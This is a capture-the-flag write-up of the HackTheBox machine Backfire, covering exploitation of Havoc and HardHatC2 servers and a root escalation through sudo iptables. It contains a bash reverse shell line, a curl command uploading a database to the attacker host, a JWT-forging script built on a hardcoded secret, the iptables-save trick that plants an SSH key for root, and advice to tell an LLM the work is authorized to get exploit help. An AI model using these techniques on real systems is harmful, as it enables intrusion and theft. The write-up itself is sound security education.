Backfire
2025-01-19
INTRODUCTION
Backfire was released as the second box of HTB’s Season 7, Vice. HTB claims this one is a “Medium” difficulty, but I cannot agree. Maybe the lateral movement and privesc were a “Medium”, but getting the user flag was frustratingly hard. More importantly though, it was extremely niche, and required a lot of scripting to stitch together two very specific exploits into one. If you’re running this box and expecting “Medium” difficulty, do as I did and seek out as complete of a PoC as you can…
Shade aside, the concept behind Backfire was very cool. Upon our initial recon, we discover that our target was actually already compromised by some other hackers! They have installed an agent from a C2 framework on the machine, and purposefully downgraded its security. Early during the box, we realize that the flags will actually be on the attacker’s host (ahem the other attackers). Successul exploitation of their C2 framework grants the initial RCE, and the user flag along with it.
This box includes one step of lateral movement. We find out that one of the hackers has installed another C2 framework, and left it in a vulnerable state. Thankfully, this one doesn’t take any fancy exploits, just a little knowledge about web app pentesting is sufficient. We find a way to use the second C2 framework against itself, and pivot to the second user.
From there, we almost immediately realize what tools we will need to use for the final privesc to root, but it takes some creative solutions to actually make it happen. My advice: be sure to check out multiple versions of the man pages for these tools, because I observed notable differences between the target, my Kali box, and the online man pages at https://linux.die.net. Read carefully, and be open-minded about how you might use the tools to escalate privilege.

RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open http-alt
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-01-24T23:19:11
|_Not valid after: 2027-01-23T23:19:11
|_http-title: 404 Not Found
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open http nginx 1.22.1
|_http-title: Index of /
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
There’s some interesting stuff there:
- SSL certificate does not indicate a domain
- Port 8000 might be redirecting requests, and might have directory listing enabled
- Unknown services on ports 5000 and 7096
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
None. All 100 scanned ports are in ignored state.
Banner Grabbing
As an assumption, I added backfire.htb to /etc/hosts and did banner grabbing on that domain:
DOMAIN=backfire.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
teeinstead of the append operator>>so that I don’t accidentally blow away my/etc/hostsfile with a typo of>when I meant to write>>.
whatweb --aggression 3 https://$DOMAIN && curl -IL http://$RADDR

For the HTTPS site, it’s interesting that the x-havoc header appears. From some quick searching, it might be because this target is already infected and communicating with the Havoc C2 framework 😮
That means I should check for whatever UDP port it’s using
The HTTP site definitely looks like a directory listing.
Exploring the Website
The HTTPS site doesn’t show us anything. It presents a self-signed certificate without a domain name, even… very odd.

As expected, http://backfire.htb:8000 is indeed a directory listing:

The disable_tls.patch file contains a few clues.
- First, we have confirmation that we’re dealing with the Havoc C2 framework.
- We’re looking at modifications to two files, one from the client and the other from the teamserver.
- The comment at the beginning tells us a websocket port and a username; it also indicates that we might need an SSRF to reach it:

The havoc.yaotl file also gives us a lot of information. From what I can tell, this is one of the main configuration files, controlling all three parts of Havoc. We also get a couple of credentials, which might be useful later:
I’ve only shown where the file differs from the template
havoc.yaotlconfiguration 👇
Teamserver {
Host = "127.0.0.1"
...
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
...
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
Web Enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u https://$RADDR/ -k -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-https-root.md -of md -timeout 4 -ic -ac -v
# No results
ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-http-root.md -of md -timeout 4 -ic -ac -v
# No results
Next I’ll check for subdomains of backfire.htb on HTTP and HTTPS:
ffuf -w $WLIST -u https://$RADDR/ -k -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN-https.md -of md -timeout 4 -ic -ac -v
# No results
ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN-http.md -of md -timeout 4 -ic -ac -v
# No results
I’ll move on to directory enumeration on HTTPS and HTTP. First, HTTPS:
This wordlist is a blend of a few wordlists from Seclists, plus a few tweaks and additions. Check out my walkthrough of LinkVortex for more information.
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u https://$DOMAIN/FUZZ -k -t 60 -ic -c -o fuzzing/ffuf-directories-https-root -of json -timeout 4 -v
# No results
Now I’ll check directory enumeration on the HTTP server:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:8000/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-http-root -of json -timeout 4 -v
# The only result was the root directory
Summing up the clues
Let’s take a second to think about how we’ll proceed…

- We have clear evidence that our target has been compromised by some other hackers, who have installed Havoc.
- Those hackers have deliberately downgraded their confidentiality by changing from
wss://tows://. - They claim to be running their Havoc Teamserver on their own machine, and using a local port forwardd (
SSH -L) to make allow their demon (Havoc agent) to reach the teamserver. - We’ve observed an HTTP server on port 8000 that we might be able to use as an open proxy.
My guess: the actual target (with the user flag) is the hackers’ host running their Havoc Teamserver.
Could we repurpose the HTTP server to redirect traffic to ws://127.0.0.1:40056? This would allow us to connect to their Teamserver. We already have their credentials, so once we can contact their Teamserver… maybe we can run Havoc Client for ourselves?
FOOTHOLD
Testing the open proxy
Let’s do an out-of-band test on the open proxy. I’ll start up an http server on my attacker host:
sudo ufw allow from $RADDR to any port 8000
simple-server 8000 -v
Now let’s issue a request to our http server via http://backfire.htb:8000:
curl -x http://backfire.htb:8000 http://10.10.14.6:8000
Hmm, no. It’s not proxying the request. There’s a good chance I’m doing something wrong.
Vulnerability research
Chebuya
I did some searching on this topic, checking for things like “Havoc C2 SSRF vulnerability”, to see if anyone has written about how we can utilize all the components that we’ve just seen.
Thankfully, one of the first results was actually a blog post by one of the two box creators, @chebuya! In that post, they outline how they were able to use source code analysis on Havoc to develop an unauthenticated SSRF, for spying on a Havoc teamserver. They filed it as CVE-2024-41570.
The short explanation is that they figured out the custom signalling protocol that Havoc uses, and found a way to replicate the protocol outside of the Havoc client and/or demon. By doing this, they found a way to contact the Teamserver via a host that already had the demon running - basically, exactly the situation that we suspected after recon!
The problem, however, is that the PoC shown by @chebuya only utilizes HTTP, but our host is communicating over a websocket (ws://127.0.0.1:40056) 🤔
SSRF + RCE PoC
Thankfully, some other generous folks on Github have already crafted a solution for transitioning the HTTP connection over to a websocket, and framing it.
😅 Frankly, I don’t really know how they managed to figure out exactly the structure of the websocket frame, but I’m very thankful that they did.
I tried carefully prompting a certain LLM about this problem, and it crafted 90% of the exploit for me. In the future, I’ll start with that.
One of these PoCs looked particularly high-quality, so I grabbed a copy:
Honorable mention to the python script in this gist
git clone https://github.com/temporaryJustice/Havoc-C2-RCE-2024.git
vim test.sh # edit the IP address (and port) of the bash reverse shell inside
vim poc.py # edit a few things (see below)
We need to change the address of the Havoc Teamserver:

And modify the IP address and port to contact for downloading and running test.sh:

Next, we can prepare for the connection. We need the HTTP server, a reverse shell listener, and to run the PoC itself:
# Run an http server, to serve test.sh
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
simple-server 8000 -v
# Reverse shell listener
bash
nc -lvnp 4444
# Run the PoC
python3 poc.py -t "https://$RADDR:443" -i 127.0.0.1 -p 40056
Moments later, we see the reverse shell open!

USER FLAG
Ilya SSH
I didn’t get very far with that reverse shell, though - it seems like a cleanup script broke my reverse shell. So I repeated the above steps, this time preparing for persistence over SSH…
On the attacker host, generate a fresh key and base-64 encode it:
ssh-keygen -t rsa -b 4096 -N "duckyduckyducky" -f ./ilya_id_rsa
cat ./ilya_id_rsa.pub | base64 -w 0 # COPY the result to clipboard
On the target, plant the SSH key:
echo -n '[PASTE the base64 pubkey]' | base64 -d >> ~/.ssh/authorized_keys
Back on the attacker host, we can now log in over SSH:
ssh -i ./ilya_id_rsa ilya@$RADDR

👍 Success. The SSH connection drops you into /home/ilya, adjacent to the user flag. Simply cat it out for the points:
cat user.txt
ROOT FLAG
Local enumeration - Ilya
Aside from the Havoc directory, there are a couple items in /home/ilya. The file hardhat.txt just contains a message:
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults I hope he prefers Havoc bcoz I don’t wanna learn another C2 framework, also Go > C#
😅 Well, we already saw from havoc.yaotl that Sergej prefers Hardhat.
A quick check to ps aux shows that Ilya’s note is true, and that Sergej is already running hardhat:

If we check netstat, we see the currently-unknown ports 5000 and 7096 listening:

Taking into account the clue from /home/ilya/hardhat.txt, the output of ps aux, and the output of netstat, it probably makes sense to look around for Hardhat C2.
Checking the Getting Started section of the HardHatC2 Github, we can see that HardHat runs as a web interface on port 7096 by default. Let’s hop back out of the SSH connection and do a local port forward:
ssh -i ./ilya_id_rsa -L 7096:localhost:7096 -L 5000:localhost:5000 ilya@$RADDR
I checked this port using HTTPS before doing the port forward, and couldn’t access it. Its odd that, even though the port is listening on
0.0.0.0, I couldn’t access it until I forwarded it… 🤷♂️
Now we can open up https://localhost:7096 in a web browser to see HardHatC2:

HardHat C2
Checking for credentials
I checked the HardHatC2 quick start guide, and there didn’t seem to be any default credential. I also tried the creds from havoc.yaotl, but no luck there either. According to the Github repo, the credentials we need are either printed to stdout when the teamserver runs, or provided to the teamserver as an environment variable.
Hoping that the env variables were passed unsafely on the command line, I checked pspy. While I didn’t see any credentials, I did see some other odd stuff going on:

This might just be the cleanup script running. I’ll have to take a look…
Uploaded the database to my attacker host, so I could view it comfortably:
curl -F 'file=@/home/ilya/Havoc/data/teamserver.db' http://10.10.14.7:8000
/etc/passwdand/etc/passwd.bakseemed normal./home/ilya/Havoc/data/teamserver.dbis an SQLite3 database, and didn’t have anything interesting inside.
Alright - back to the drawing board! I’ll do some research on HardHat and see if there’s any way around this. I’ll look specifically for either RCE (unauthenticated) or an auth bypass…
Known Vulnerabilities
Thankfully, without too much searching, I came across this very helpful article. It outlines three vulnerabilities, along with PoC for each:
- Arbitrary File Write
- Authentication Bypass
- RCE
(1) The Arbitrary File Write is unauthenticated, but can only write .pfx files, so we can’t leverage it directly into RCE.
(3) The RCE vulnerability requires an authenticated user with the TeamLead role.
(2) The Authenication Bypass seems super useful - let’s try it out!
Authentication Bypass
HardHat uses a jwt for authorization. Besides the normal usage, upon registering a new user we would present this JWT to demonstrate the integrity of our user registration request…
👷 But apparently, the jwt signing key is hardcoded into HardHat. So not only is it predictable, but it’s publicly available! We can sign our own authorization tokens, thus register an arbitrary user.
🙏 Huge thanks to the original author, Siam Thanat Hack Co., Ltd. (STH), whose code I’ve modified below.
(Also, you may note that this is the same author as the gist for SSRF + RCE of Havoc)
import jwt
import datetime
import uuid
import sys
usage_text = '''
ex.
username: 4wayhandshake
password: Password123!
'''
if len(sys.argv) < 3:
print(f'Usage: {sys.argv[0]} username password' + usage_text)
sys.exit(1)
rhost = sys.argv[1]
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
We can use this script to generate a JWT:
python3 generate_hardhat_jwt.py 'localhost:7096' '4wayhandshake' '4way_hs'
Then we can register a user against the API url (that we’ve already forwarded with ssh -L):
JWT='eyJ0eXAiOiJKV1Qi...q3wpEHrhE1B-0'
curl -i https://localhost:5000/Login/Register -k -H "Authorization: bearer $JWT" --json '{"password":"4way_hs","role":"TeamLead","username":"4wayhandshake"}'

If all went according to plan, we should be able to login to https://localhost:7096 now:

It worked perfectly! Now we have an authenticated TeamLead user. Now, I can move onto the RCE vulnerability mentioned earlier.
ImplantInteract RCE
I wouldn’t exactly call this a vulnerability - it’s more like an unsafe intended functionality. By going to /ImplantInteract, we basically have a webshell. Choose Terminal tab, and click the plus sign to open a terminal:

Since a regular ol’ bash reverse shell worked earlier, I don’t see any reason why it wouldn’t work on this user (sergej) too.
Let’s prepare a reverse shell listener:
sudo ufw allow from $RADDR to any port 4445
bash
nc -lvnp 4445
Then using the Terminal window, we can open the reverse shell:
bash -i >& /dev/tcp/10.10.14.7/4445 0>&1

Our listener caught the shell:

👏 Great!
Sergej persistence
Now, in case there’s another cleanup script, let’s plant another SSH pubkey:
Yes, always be planting pubkeys. It’s for the pubgood.
ssh-keygen -t rsa -b 4096 -N 'swanswanswan' -f ./sergej_id_rsa
chmod 600 ./sergej_id_rsa
cat ./sergej_id_rsa.pub | base64 -w 0 # COPY to clipboard
echo -n '[PASTE from clipboard]' | base64 -d >> ~/.ssh/authorized_keys
Now we can log in easily:
ssh -i ./sergej_id_rsa sergej@$RADDR

Local Enumeration - sergej
As we just saw, there is an interesting-looking script, /home/sergej/hardhad_firewall.sh:
#!/bin/bash
#sudo /usr/sbin/iptables-save > /tmp/rules.v4
sudo /usr/sbin/iptables -F
sudo /usr/sbin/iptables -A INPUT -p tcp -s localhost --dport 5000 -j ACCEPT
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 5000 -j REJECT
sudo /usr/sbin/iptables -A INPUT -p tcp -s localhost --dport 7096 -j ACCEPT
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 7096 -j REJECT
🤔 I wonder if this is related to the iptables call that we saw earlier when running pspy.
Checking sudo -l shows that sergej can sudo iptables:
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
If this is part of the privesc vector, then I think it’s safe to say that the
iptablescall we saw when running pspy was indeed just the cleanup script, cleaning up after people exploiting this privesc vector.
I’ll be honest, if this works, it’ll be the first time I’ve ever heard of iptables being used for local privesc.
iptables
Let’s take a look at what iptables and iptables-save can do. Maybe they have some odd functionality that we can utilize:
man iptables
modprobe argument
I only found one option for using iptables to run other code.
--modprobe=commandWhen adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).*
That makes it sound like it could also run a script, right? Let’s try it out. I’ll craft a useless iptables rule, but add on a --modprobe argument with a privesc script. To prepare, I’ll start up a reverse shell listener:
bash
nc -lvnp 4444
Now, on the target host, I’ll try to run the script using --modprobe:
cat << 'EOF' > /tmp/pe.sh
#!/bin/bash
touch /tmp/root_was_here
EOF
chmod +x /tmp/pe.sh
sudo /usr/sbin/iptables --modprobe=/tmp/pe.sh -A INPUT -p tcp --dport 64000 -j LOG --log-prefix "lolool: " --log-level 4
rm /tmp/pe.sh
However, the poc file /tmp/root_was_here does not appear. I was unable to get this method to work at all, regardless of the script that was to be triggered by --modprobe.
From what I understand, it should be triggered upon writing the rule. Still, I tried sending TCP traffic at that port (so it would be logged) just in case that’s what was required for
--modprobeto do anythin.Still, nothing happened.
Iptables-save
Not only can we write new iptables rules, but we can also save them using iptables-save. However, the format of iptables is quite restricted, so we can’t write arbitrary files… not quite.
We’ve already demonstrated that we can write single lines into the table: it goes under one of the three chains shown below.
Note that there is no # comment character at the beginning of any line, so we need to be careful with what gets parsed as the “beginning of the line”:
👇 This is the file right after flushing it with
iptables -F
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
There’s a trick in linux, usually used if you need to avoid using echo -e, for inserting newline characters into strings:
- Lots of escape characters get parsed in “doublequotes”, but not the newline character.
- Using a string within ‘singlequotes’ makes it a literal, and prevents any excape characters from being parsed.
- However, prepending the string literal with
$allows escape characters inside it to be parsed (but not variables)
Therefore, we might be able to insert newlines in the logging message if we use $'...' syntax 🤔
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 64000 -j LOG --log-prefix $'\nlololollololololollool: \n' --log-level 4
# iptables v1.8.11 (nf_tables): Newlines not allowed in --log-prefix
# Try `iptables -h' or 'iptables --help' for more information.
Nope, it doesn’t like that. Are there any other methods for inserting free-form text within iptables?
This looks promising:
comment
Allows you to add comments (up to 256 characters) to any rule.
--commentcomment Example:
iptables -A INPUT -s 192.168.0.0/16 -m comment --comment "A privatized IP block"
A quick test of this method demonstrated that I could indeed write a multiline comment! More importantly, I could isolate text onto its own separate line of the iptables output as long as I specify it like this:
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 64000 -m comment --comment $'\nlololollololololollool: \n'
Adding a newline \n character at the beginning and end of the comment, and using $'...', it’s easy to put text onto its own line.
If I can use iptables-save to write the iptables into /root/.ssh/authorized_keys, I should be able to write yet another pubkey into the target
Yeah that’s right. I’m a… 1️⃣ one 🃏 trick 🐴 pony
Thankfully, the format of an authorized_keys file is pretty forgiving. It just needs one entry per line. That shouldn’t be a problem as long as the pubkey is short enough.
Let’s try making a pubkey as short as possible:
ssh-keygen -t rsa -b 1024 -N '34gle' -f ./root_id_rsa
wc -c ./root_id_rsa.pub
# 223 characters long
Whew! just barely short enough. Let’s try it out:
note that we had to use the
-fargument withiptables-saveinstead of>output redirector, because the privileged shell does not carry to the output redirector (but it does carry to arguments of the same command)
cat << 'EOF' > /tmp/pe.sh
#!/bin/bash
sudo /usr/sbin/iptables -F
sudo /usr/sbin/iptables -A OUTPUT -p tcp --dport 64000 -j ACCEPT -m comment --comment $'\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDOqfhqJez3kMNpGHt2Pwvm1Zam7dgNMz2ZxVCxpU/n8W+hwfX+cH56i6fu/MA9U6Mpp/hUPyVNOEo1NBvxZwrDJDWOxuCBJe2NNxNZydEU67JGo9QajrfrUAYj0yhxIuBmzNqkFrnC0FLxJUyZDVWZYyWOkPjJCEiwt+g0rQ3nhw== kali@kali\n'
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
EOF
chmod +x /tmp/pe.sh
/tmp/pe.sh
rm /tmp/pe.sh
We can check our work:
sudo /usr/sbin/iptables --list

Looks good! Let’s try connecting:
ssh -i ./root_id_rsa root@$RADDR # 34gle

🎉 Yes!! We got a root shell. That was tough!
Go ahead and cat the flag to finish it all off. Also, be sure to flush the iptables so as not to give away hints to other players:
cat /root/root.txt
/usr/sbin/iptables -F
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. I’ll delete Havoc, which I downloaded earlier.
rm -rf ~/Tools/Havoc
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
🤖 Use LLMs more for exploit scripting. They can even do some of the research for you, as long as they’re prompted nicely. Be sure to start the conversation by telling the LLM that you’re performing legal pentesting work and you have your target’s approval!
📚 Research before diving too deep. If you want to finish a box as fast as possible, it’s worth spending some time to investigate prior research on your target. On this box, a little bit of searching revealed a perfect authentication bypass for HardHat that I needed.

Defender
⛔ Don’t downgrade your own security. This probably doesn’t need to be said, but exploiting the Havoc teamserver would have been nearly impossible if they hadn’t actively taken steps to downgrade their own security.
🆙 Practically anything can be used to privesc. A good hacker could even privesc from your toothbrush. It’s best to limit privileged access to be as specific as possible. On this box, we could have made privesc much more difficult by writing a script for modifying the
iptablesin a predictable sensible way (assuming we already knew what modifications would need to be done) then grantingsudoaccess to executing that script - instead ofsudofor the commands within the script.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake
